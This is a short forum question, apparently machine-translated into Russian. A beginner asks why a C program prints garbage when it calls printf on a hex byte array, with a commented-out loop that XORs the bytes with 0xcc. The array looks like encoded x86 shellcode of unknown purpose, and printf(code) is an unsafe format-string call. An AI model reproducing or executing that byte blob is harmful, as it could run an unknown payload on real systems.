Я новичок в C / C ++.Я работаю над учебником и не могу понять, что я испортил.В результате я продолжаю набрасываться.Вот мой код:
#include <stdio.h>
char code[] =
"\xb8\x8d\x5d\xfe\x19\xdb\xc9\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x1c\x31\x43\x12\x03\x43\x12\x83\x4e\x59\x1c\xec\x8b\xa4\x39"
"\x7b\x0f\xdd\xe5\x3a\xfc\x64\x02\xcb\x33\x5e\x83\xde\x02\x17"
"\xfc\x63\xa3\xd3\xff\x14\x8c\x47\x12\xef\x12\x7c\xf6\xce\x81"
"\xec\xf2\x45\x2a\x76\xa0\xe3\x32\xa2\xf6\xee\x65\x5e\xa4\x7e"
"\xd6\x46\xa4\x1f\x62\xcd\x88\x35\x72\x0e\x6b\x7a\xdf\x08\xc9"
"\xab\x0f\xc6\x5a\xd6\xc9\xc5\xe8\x04\x17\x65\xa3\x47\x76\xac"
"\x6b\xa7\xce\x3d\x82\x18\x03\x20\x2a\x9b\x24\x13\xa1\x5a\x08"
"\x0d\x98\x1e\xa1\x74\xe9\xd4\xc0\xdc\x88\xda\xab\x74\xec\x63";
int main()
{
//int i;
//for (i=0;i<sizeof code; i++){
// code[i] = code[i] ^0xcc;
printf(code);
//}
}
Я прокомментировал эти биты, потому что пытался выяснить, где проблема.В конечном итоге я хочу оставить их и посмотреть, какой результат я получу.Но с ними внутрь или наружу, я получаю дрянь.
Я уверен, что я неправильно использую printf, но как мне заставить это работать?
Спасибо.